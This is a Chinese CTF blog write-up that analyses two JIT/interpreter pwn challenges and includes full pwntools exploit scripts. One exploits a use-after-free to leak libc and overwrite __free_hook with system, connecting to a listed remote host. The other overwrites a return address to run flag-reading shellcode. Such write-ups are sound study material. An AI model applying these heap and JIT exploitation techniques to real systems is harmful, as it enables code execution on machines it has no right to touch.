JIT类型初探
发表于:2021-11-01 |
字数统计: 1.4k | 阅读时长: 6分钟 | 阅读量:

JIT类型初探

这种题目也碰过好几次了,但因为自己太懒加静不下心去分析这种类型(其实是因为太菜,分析不了这么多代码)。加上最近一直感觉自己没有什么提升,感觉一直做简单题没意思(这或许就是难题不会做,简单题不想做的状态了),所以就横下心想一定要把这个题好好分析完。

这个程序实现了一个解释器,主函数逻辑如下:

image-20211101102626476

我们可使用的函数如下:

image-20211101102952227

一开始看到这我以为可以直接使用execve函数,然后发现execve的作用如下,并没有什么执行”/bin/sh”的功能

image-20211101103142594

我们先来分析=的功能,在编译的时候,如果值为字符串,那么就会申请字符串长度+8大小的chunk

image-20211101105104317

执行时,会判断用什么给谁赋值,我们可以发现当为字符串时,会先检查这个变量有没有被字符串赋过值,如果有则释放掉之前的字符串空间,再用新的字符换的指针替代(先申请在释放)。当用变量给变量赋值时,会将指针复制给新的变量,造成uaf漏洞

image-20211101105746472

prints比较简单,他会调用puts函数输出,因此可以用来泄露libc_base

image-20211101110626118

我们接着分析array的功能,这里我们可以看见将会申请0x38*v5+1大小的chunk并放在*((_QWORD *)v12+6)的地方。

image-20211101103422281

数组赋值时会进入到下面的部分,将会把值写到*(_QWORD *)(*((_QWORD *)v13+6)+0x38*v7)+0x28) 相当于数组的每个元素是一个堆,v1就是数组的元素,值就会被写入v1+0x28的地方。

image-20211101111358665

inputn也挺简单就是将输入的值变成数字放到对应的变量种。

image-20211101112214982

分析完这些函数的功能,我们的思路就是先将申请一个0x4b0大小的chunk(a),在将它赋值给另一个变量(b),在free掉这个a,就可以泄露出libc_base。申请arr[20]数组,现在这个数组相当于a,在释放掉b,申请0x50(真实大小)大小的chunk,使堆指针到达arr[i]+0x28的位置,就能控制fd指针了。将fd指针写为free_hook-0x28,在申请一个arr[1](大小为0x50,调试出来的结果,原本以为是0x40),就可以将free_hook写为system。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
#io=process('./boom_script')
io=remote('47.104.143.202' ,41299)
context.log_level='debug'
elf=ELF('./boom_script')
libc=elf.libc
io.sendlineafter('1. run\n2. help\n$','1')
payload="""
a = "111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111";
b = a;
a = "22222";
prints(b);
c = 0;
array arr[20];
arr[0]=10;
arr[1]=11;
b = "/bin/sh";
chunk1 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaacccccccccccccccc";
chunk2 = "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbcccccccccccccccc";
chunk3 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
chunk5 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
chunk4 = "ccccccccccccccccccccccccccccccccccccccccccccccccssssssssssssssss";
chunk1 = "aaaaaaaa";
chunk4 = "aaaaaaaa";
prints("f1agaa");
inputn(c);
arr[3] = c;
chunk5 = "ccccccccccccccccccccccccccccccccccccccccccccccccssssssssssssssss";
array chunk[1];
prints("f1agaa");
inputn(c);
chunk[0] = c;
b="aaaa";
inputn(c);
"""
io.sendlineafter('length:\n',str(len(payload)+1))
io.sendlineafter('code:\n',payload)
#gdb.attach(io)
malloc_hook=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-96-16
libc_base=malloc_hook-libc.symbols['__malloc_hook']
print('libc_base',hex(libc_base))
free_hook=libc_base+libc.symbols['__free_hook']
print(hex(free_hook-0x28))
system=libc_base+libc.symbols['system']

io.sendlineafter('f1agaa\n',str(free_hook-0x28))
#gdb.attach(io)
sleep(0.2)
io.sendlineafter('f1agaa\n',str(system))
io.interactive()

2023西湖论剑jit

题目难度主要在逆向分析,比赛没做出来,后来花了一天时间跟着wp复现才弄出来。

申请一块0x2000大小的内存存放可执行代码

image-20230314205303230

JITHelper::write()就是将代码写入该区域

image-20230314205619228

框中是汇编代码的二进制,汇编代码为lea rbp,[rsp-8];call 0xb;hlt因为call 0xb为call到下一条代码地址+0xb的位置,且call=pop rip;jmp rip,所以rbp指向rip即ret_addr

image-20230314205658680

image-20230314205724280

creatFunc()需要四个输入:|0xff|idx|args|locals|且会自动向可执行段写入sub rsp,8*localsJITHelper::bwrite()为向可执行段写入4B数据

image-20230314210117138

接着为核心函数

image-20230314210549731

漏洞函数:当v2=0xa0时,该函数返回0,即指向ret_addr,即可以利用xor,and等绕过地址随机化,直接修改ret_addr,将其改为shellcode的地址,即可。

image-20230314211350893

直接贴别人的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *
io=process('./jit')
context.log_level='debug'
#io.sendline('\xff\x01\x08\x10\x06\x82')
context.arch = 'amd64'
payload = b''
def create_func(id,arg_cnt,local_cnt):
global payload
hdr = b'\xff' + p8(id) + p8(arg_cnt) + p8(local_cnt)
payload += hdr
def mov_var_imm(vidx,imm):
global payload
payload += p8(1)
payload += p8(vidx | 0x80)
payload += p64(imm)
def callf(fid,retvar,arg_cnt,args=None):
global payload
payload += p8(6)
payload += p8(fid)
payload += p8(retvar)
payload += p8(arg_cnt)
if arg_cnt != 0:
for i in range(arg_cnt):
payload += p8(args[i])
def mov(idx1,idx2):
global payload
payload += p8(2)
payload += p8(idx1)
payload += p8(idx2)
def xor(idx1,idx2):
global payload
payload += p8(5)
payload += p8(idx1)
payload += p8(idx2)
def retv(var_idx):
global payload
payload += p8(0)
payload += p8(var_idx)
sc = '''
mov eax, 0x01010101
xor eax, 0x6c662f2e ^ 0x01010101
mov ebx, 0x0101
xor ebx, 0x6761 ^ 0x0101
shl rbx,32
or rax,rbx
push rax
push SYS_open
pop rax
mov rdi, rsp
xor esi, esi
syscall
mov r10d, 0x7fffffff
mov rsi, rax
push SYS_sendfile
pop rax
push 1
pop rdi
cdq
syscall
'''
ret_off = 0x80 | 0x20 #^0x80=0x20
create_func(0,0,0x20)
mov(0x81,ret_off)#copy the adress of retaddr to rbp-8
mov_var_imm(0x82,0x62)
xor(0x81,0x82)#xor 0x68
mov(ret_off,0x81)#copy the adress of rbp-8 to retaddr
retv(0x81)
create_func(1,0,1)
def make_qword(sc):
payload = asm(sc).ljust(6,b'\x90') + b'\xeb\x09'
return u64(payload)
for i in sc.splitlines():
mov_var_imm(1,make_qword(i))
retv(0x81)

gdb.attach(io)
io.send(payload)
pause()
io.interactive()

总结

遇到这种题应该多注意uaf、doublefree、off-by-null、栈溢出、堆溢出这几种简单的漏洞,多注意free、malloc函数以及read函数。

上一篇:
ida动态调试+pwntools输入
下一篇:
pwnable.tw刷题记录